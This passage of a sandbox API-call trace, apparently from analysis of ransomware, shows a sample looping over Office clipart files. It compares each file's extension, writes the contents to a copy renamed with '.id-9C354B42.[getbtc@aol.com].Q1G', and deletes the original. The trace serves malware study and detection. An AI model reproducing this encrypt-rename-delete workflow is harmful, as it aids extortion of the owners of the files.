lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.854] lstrlenW (lpString=".pdf") returned 4 [0255.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.854] lstrlenW (lpString=".xls") returned 4 [0255.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.855] lstrlenW (lpString=".xlsx") returned 5 [0255.855] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.855] lstrlenW (lpString=".ppt") returned 4 [0255.855] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.855] lstrlenW (lpString=".zip") returned 4 [0255.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.855] lstrlenW (lpString=".rar") returned 4 [0255.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString=".bz2") returned 4 [0255.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString=".7z") returned 3 [0255.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.855] lstrlenW (lpString=".dbf") returned 4 [0255.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.855] lstrlenW (lpString=".1cd") returned 4 [0255.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.855] lstrlenW (lpString=".jpg") returned 4 [0255.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.855] lstrlenW (lpString=".doc") returned 4 [0255.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString=".docx") returned 5 [0255.855] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0255.855] lstrlenW (lpString=".pdf") returned 4 [0255.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.855] lstrlenW (lpString=".xls") returned 4 [0255.855] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.855] lstrlenW (lpString=".xlsx") returned 5 [0255.855] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0255.856] lstrlenW (lpString=".ppt") returned 4 [0255.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.856] lstrlenW (lpString=".zip") returned 4 [0255.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.856] lstrlenW (lpString=".rar") returned 4 [0255.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.856] lstrlenW (lpString=".bz2") returned 4 [0255.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.856] lstrlenW (lpString=".7z") returned 3 [0255.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.856] lstrlenW (lpString=".dbf") returned 4 [0255.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.856] lstrlenW (lpString=".1cd") returned 4 [0255.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF") returned 63 [0255.856] lstrlenW (lpString=".jpg") returned 4 [0255.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.856] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.856] lstrlenW (lpString="J0102984.WMF") returned 12 [0255.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.857] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=17040) returned 1 [0255.857] CloseHandle (hObject=0x1fc) returned 1 [0255.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 0x20 [0255.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0255.857] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.857] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0255.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0255.858] GetLastError () returned 0x0 [0255.858] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x4290, lpOverlapped=0x0) returned 1 [0256.063] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x42a0, lpOverlapped=0x0) returned 1 [0256.064] ReadFile (in: hFile=0x1fc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.064] WriteFile (in: hFile=0x3c8, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.064] SetEndOfFile (hFile=0x3c8) returned 1 [0256.064] CloseHandle (hObject=0x3c8) returned 1 [0256.064] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.064] SetEndOfFile (hFile=0x1fc) returned 1 [0256.066] CloseHandle (hObject=0x1fc) returned 1 [0256.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.267] lstrlenW (lpString=".doc") returned 4 [0256.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString=".docx") returned 5 [0256.267] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.267] lstrlenW (lpString=".pdf") returned 4 [0256.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString=".xls") returned 4 [0256.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.267] lstrlenW (lpString=".xlsx") returned 5 [0256.267] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.267] lstrlenW (lpString=".ppt") returned 4 [0256.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.267] lstrlenW (lpString=".zip") returned 4 [0256.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.267] lstrlenW (lpString=".rar") returned 4 [0256.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString=".bz2") returned 4 [0256.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString=".7z") returned 3 [0256.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.267] lstrlenW (lpString=".dbf") returned 4 [0256.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.267] lstrlenW (lpString=".1cd") returned 4 [0256.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.267] lstrlenW (lpString=".jpg") returned 4 [0256.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.268] lstrlenW (lpString=".doc") returned 4 [0256.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString=".docx") returned 5 [0256.268] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0256.268] lstrlenW (lpString=".pdf") returned 4 [0256.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString=".xls") returned 4 [0256.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.268] lstrlenW (lpString=".xlsx") returned 5 [0256.268] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0256.268] lstrlenW (lpString=".ppt") returned 4 [0256.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.268] lstrlenW (lpString=".zip") returned 4 [0256.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.268] lstrlenW (lpString=".rar") returned 4 [0256.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString=".bz2") returned 4 [0256.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString=".7z") returned 3 [0256.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.268] lstrlenW (lpString=".dbf") returned 4 [0256.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.268] lstrlenW (lpString=".1cd") returned 4 [0256.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102984.WMF") returned 63 [0256.268] lstrlenW (lpString=".jpg") returned 4 [0256.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.269] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.269] lstrlenW (lpString="J0105288.WMF") returned 12 [0256.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.269] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=15832) returned 1 [0256.269] CloseHandle (hObject=0x204) returned 1 [0256.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 0x20 [0256.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.270] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.270] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0256.270] GetLastError () returned 0x0 [0256.270] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3dd8, lpOverlapped=0x0) returned 1 [0256.292] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x3de0, lpOverlapped=0x0) returned 1 [0256.293] ReadFile (in: hFile=0x204, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.293] WriteFile (in: hFile=0x324, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.293] SetEndOfFile (hFile=0x324) returned 1 [0256.302] CloseHandle (hObject=0x324) returned 1 [0256.302] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.302] SetEndOfFile (hFile=0x204) returned 1 [0256.304] CloseHandle (hObject=0x204) returned 1 [0256.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0256.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString=".doc") returned 4 [0256.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString=".docx") returned 5 [0256.478] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.478] lstrlenW (lpString=".pdf") returned 4 [0256.478] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString=".xls") returned 4 [0256.478] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.478] lstrlenW (lpString=".xlsx") returned 5 [0256.478] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.478] lstrlenW (lpString=".ppt") returned 4 [0256.478] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString=".zip") returned 4 [0256.478] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.478] lstrlenW (lpString=".rar") returned 4 [0256.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString=".bz2") returned 4 [0256.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString=".7z") returned 3 [0256.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString=".dbf") returned 4 [0256.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString=".1cd") returned 4 [0256.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString=".jpg") returned 4 [0256.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.478] lstrlenW (lpString=".doc") returned 4 [0256.478] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString=".docx") returned 5 [0256.479] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.479] lstrlenW (lpString=".pdf") returned 4 [0256.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString=".xls") returned 4 [0256.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.479] lstrlenW (lpString=".xlsx") returned 5 [0256.479] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.479] lstrlenW (lpString=".ppt") returned 4 [0256.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.479] lstrlenW (lpString=".zip") returned 4 [0256.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.479] lstrlenW (lpString=".rar") returned 4 [0256.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString=".bz2") returned 4 [0256.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString=".7z") returned 3 [0256.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.479] lstrlenW (lpString=".dbf") returned 4 [0256.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.479] lstrlenW (lpString=".1cd") returned 4 [0256.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0256.479] lstrlenW (lpString=".jpg") returned 4 [0256.479] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.479] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.479] lstrlenW (lpString="J0105328.WMF") returned 12 [0256.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.492] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7992) returned 1 [0256.492] CloseHandle (hObject=0x3a8) returned 1 [0256.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 0x20 [0256.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0256.494] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.494] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0256.495] GetLastError () returned 0x0 [0256.495] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1f38, lpOverlapped=0x0) returned 1 [0256.496] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1f40, lpOverlapped=0x0) returned 1 [0256.497] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.497] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.497] SetEndOfFile (hFile=0x3dc) returned 1 [0256.498] CloseHandle (hObject=0x3dc) returned 1 [0256.498] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.498] SetEndOfFile (hFile=0x3a8) returned 1 [0256.500] CloseHandle (hObject=0x3a8) returned 1 [0256.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf")) returned 1 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString=".doc") returned 4 [0256.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString=".docx") returned 5 [0256.501] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0256.501] lstrlenW (lpString=".pdf") returned 4 [0256.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString=".xls") returned 4 [0256.501] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.501] lstrlenW (lpString=".xlsx") returned 5 [0256.501] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0256.501] lstrlenW (lpString=".ppt") returned 4 [0256.501] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned 63 [0256.501] lstrlenW (lpString=".zip") returned 4 [0256.501] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.501] 